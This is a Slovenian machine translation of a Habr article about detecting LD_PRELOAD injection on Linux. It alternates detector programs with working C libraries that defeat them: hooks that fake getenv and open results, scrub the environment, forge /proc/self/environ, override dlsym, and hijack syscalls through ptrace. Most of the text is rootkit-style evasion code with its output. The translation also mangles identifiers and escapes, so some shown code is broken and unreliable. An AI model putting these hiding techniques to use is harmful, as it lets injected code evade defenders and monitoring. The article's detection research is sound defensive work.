Iščete LD_PRELOAD

Ta zapis je bil napisan leta 2014, vendar sem bil pravkar pod represijo na Habréju in ni ugledal luči sveta. Med prepovedjo sem nanj pozabil, zdaj pa sem ga našel v osnutkih. Razmišljal sem, da bi ga izbrisal, a bo morda komu koristil.

Iščete LD_PRELOAD

Na splošno malo petkovo skrbniško branje na temo iskanja "vključenih" LD_PRELOAD.

1. Kratka digresija za tiste, ki niso seznanjeni z zamenjavo funkcij

Ostalo lahko gre naravnost na str.2.

Začnimo s klasičnim primerom:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Prevajamo brez zastavic:

$ gcc ./ld_rand.c -o ld_rand

In kot je bilo pričakovano, dobimo 5 naključnih števil, manjših od 100:

$ ./ld_rand
53
93
48
57
20

Toda predstavljajmo si, da nimamo izvorne kode programa, ampak moramo spremeniti vedenje.

Ustvarimo lastno knjižnico z lastnim prototipom funkcije, na primer:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

In zdaj je naša naključna izbira precej predvidljiva:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Ta trik izgleda še bolj impresivno, če svojo knjižnico najprej izvozimo prek

$ export LD_PRELOAD=$PWD/ld_rand.so

ali pa bomo to storili prvi

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

in nato zaženite program kot običajno. V samem programu nismo spremenili niti ene vrstice kode, vendar je njegovo vedenje zdaj odvisno od majhne funkcije v naši knjižnici. Poleg tega je v času pisanja programa rand sploh ni obstajal.

Zakaj je naš program uporabil ponaredek rand? Gremo korak za korakom.
Ko se aplikacija zažene, se naložijo določene knjižnice, ki vsebujejo funkcije, ki jih potrebuje program. Ogledamo si jih lahko z uporabo ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Ta seznam se lahko razlikuje glede na različico OS, vendar mora biti tam datoteka libc.so. Prav ta knjižnica zagotavlja sistemske klice in osnovne funkcije, kot je npr odprite, malloc, printf itd. Naš rand je tudi med njimi. Prepričajmo se o tem:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Poglejmo, ali se nabor knjižnic ob uporabi spremeni LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Izkazalo se je, da je spremenljivka nastavljena LD_PRELOAD prisili našo obremenitev ld_rand.so tudi kljub temu, da sam program tega ne zahteva. In saj naša funkcija "rand" obremenitve prej kot rand od libc.so, potem ona vlada zavetišču.

V redu, uspelo nam je zamenjati izvorno funkcijo, toda kako lahko zagotovimo, da se ohrani njena funkcionalnost in dodajo nekatera dejanja. Spremenimo naše naključno:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Tukaj kot naš “dodatek” natisnemo samo eno vrstico besedila, po kateri ustvarimo kazalec na izvirno funkcijo rand. Za pridobitev naslova te funkcije potrebujemo dlsym je funkcija iz knjižnice libdlki bo našel naše rand v kupu dinamičnih knjižnic. Po tem bomo poklicali to funkcijo in vrnili njeno vrednost. V skladu s tem bomo morali dodati "-ldl" med montažo:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

In naš program uporablja "native" rand, ki je pred tem izvedel nekaj nespodobnih dejanj.

2. Bolečina iskanja

Ker vemo za potencialno grožnjo, jo želimo odkriti preload Izvedeno je bilo. Jasno je, da je najboljši način zaznavanja potisniti v jedro, vendar so me zanimale možnosti zaznavanja v uporabniškem prostoru.

Nato bodo rešitve za odkrivanje in njihovo zavrnitev prišle v parih.

2.1. Začnimo preprosto

Kot smo že omenili, lahko s spremenljivko določite knjižnico za nalaganje LD_PRELOAD ali tako, da ga zapišete v datoteko /etc/ld.so.preload. Ustvarimo dva preprosta detektorja.

Prvi je preverjanje nastavljene spremenljivke okolja:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Drugi je preverjanje, ali je datoteka odprta:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Naložimo knjižnice:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Tukaj in spodaj [+] označuje uspešno zaznavo.
V skladu s tem [-] pomeni obhod zaznavanja.

Kako učinkovit je tak detektor? Najprej si poglejmo spremenljivko okolja:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Podobno se znebimo čeka odprite:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Da, tukaj je mogoče uporabiti druge načine dostopa do datoteke, na primer, open64, stat itd., vendar je dejansko potrebnih istih 5-10 vrstic kode, da jih zavedejo.

2.2. Gremo naprej

Zgoraj smo uporabili getenv() da bi dobili vrednost LD_PRELOAD, vendar obstaja tudi bolj "nizka raven" poti do ENV- spremenljivke. Ne bomo uporabljali vmesnih funkcij, ampak se bomo sklicevali na matriko **okolje, ki hrani kopijo okolja:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Ker tukaj beremo podatke neposredno iz pomnilnika, takega klica ni mogoče prestreči in naš undetect_getenv ne moti več prepoznavanja vdora.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Zdi se, da je ta problem rešen? Še vedno se šele začenja.

Po zagonu programa se vrednost spremenljivke LD_PRELOAD hekerji ga ne potrebujejo več v pomnilniku, to pomeni, da ga lahko preberejo in izbrišejo, preden izvedejo kakršna koli navodila. Seveda je urejanje matrike v pomnilniku najmanj slab stil programiranja, ampak kako lahko to ustavi nekoga, ki nam tako ali tako ne želi dobro?

Za to moramo ustvariti lastno lažno funkcijo v(), v kateri prestrežemo nameščeno LD_PRELOAD in ga posredujte našemu povezovalcu:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Izvajamo in preverjamo:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Vendar pa spomin ni zadnje mesto, kjer lahko najdete zamenjavo LD_PRELOAD, je tudi /proc/. Začnimo z očitnim /proc/{PID}/okolje.

Pravzaprav obstaja univerzalna rešitev za undetect **okolje и /proc/self/okolje. Problem je »napačno« vedenje unsetenv(env).

pravilna možnost

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Toda predstavljajmo si, da ga nismo našli in /proc/self/okolje vsebuje "problematične" podatke.

Najprej poskusimo z našo prejšnjo "preobleko":

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

mačka uporablja isto za odpiranje datoteke odprto(), zato je rešitev podobna tisti, ki je bila narejena že v razdelku 2.1, vendar zdaj ustvarimo začasno datoteko, v katero kopiramo vrednosti pravega pomnilnika brez vrstic, ki vsebujejo LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

In ta stopnja je bila prehojena:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Naslednje očitno mesto je /proc/self/maps. Nima smisla razmišljati o tem. Rešitev je popolnoma enaka prejšnji: kopirajte podatke iz datoteke brez vrstic med njimi libc.so и ld.so.

2.4. Možnost iz Chokepointa

Ta rešitev mi je bila še posebej všeč zaradi svoje preprostosti. Primerjamo naslove funkcij, naloženih neposredno iz libc, in »NASLEDNJI« naslovi.

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Nalaganje knjižnice s prestrezanjem "odprto()" in preveri:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Izkazalo se je, da je zavrnitev še enostavnejša:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Sistemski klici

Zdi se, da je to vse, a še vedno se bomo zapletli. Če sistemski klic usmerimo neposredno v jedro, bo to zaobšlo celoten proces prestrezanja. Spodnja rešitev je seveda odvisna od arhitekture (x86_64). Poskusimo ga implementirati za odkrivanje odprtine ld.so.preload.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

In ta problem ima rešitev. Odlomek iz moški'A:

ptrace je orodje, ki nadrejenemu procesu omogoča opazovanje in nadzor napredka drugega procesa, ogled in spreminjanje njegovih podatkov in registrov. Običajno se ta funkcija uporablja za ustvarjanje prekinitvenih točk v programu za odpravljanje napak in nadzor sistemskih klicev.

Nadrejeni proces lahko začne s sledenjem tako, da najprej pokliče fork(2), nato pa lahko nastali podrejeni proces izvede PTRACE_TRACEME, čemur (običajno) sledi izvajanje exec(3). Po drugi strani pa lahko nadrejeni proces začne odpravljati napake v obstoječem procesu s PTRACE_ATTACH.

Pri sledenju se podrejeni proces ustavi vsakič, ko prejme signal, tudi če je signal prezrt. (Izjema je SIGKILL, ki deluje normalno.) Nadrejeni proces bo o tem obveščen s klicem wait(2), nato pa si lahko ogleda in spremeni vsebino podrejenega procesa, preden se ta zažene. Nadrejeni proces nato dovoli otroku, da nadaljuje z izvajanjem, v nekaterih primerih ignorira signal, ki mu je bil poslan, ali namesto tega pošlje drug signal).

Rešitev je torej spremljanje procesa, ustavitev pred vsakim sistemskim klicem in po potrebi preusmeritev niti na funkcijo kaveljca.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Preverjamo:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

Najlepša hvala

Charles Hubain
dušilna točka
ValdikSS
Philippe Teuwen
derhass

, čigar članki, viri in komentarji so naredili veliko več kot jaz, da se je ta zapis pojavil tukaj.

Vir: www.habr.com

Dodaj komentar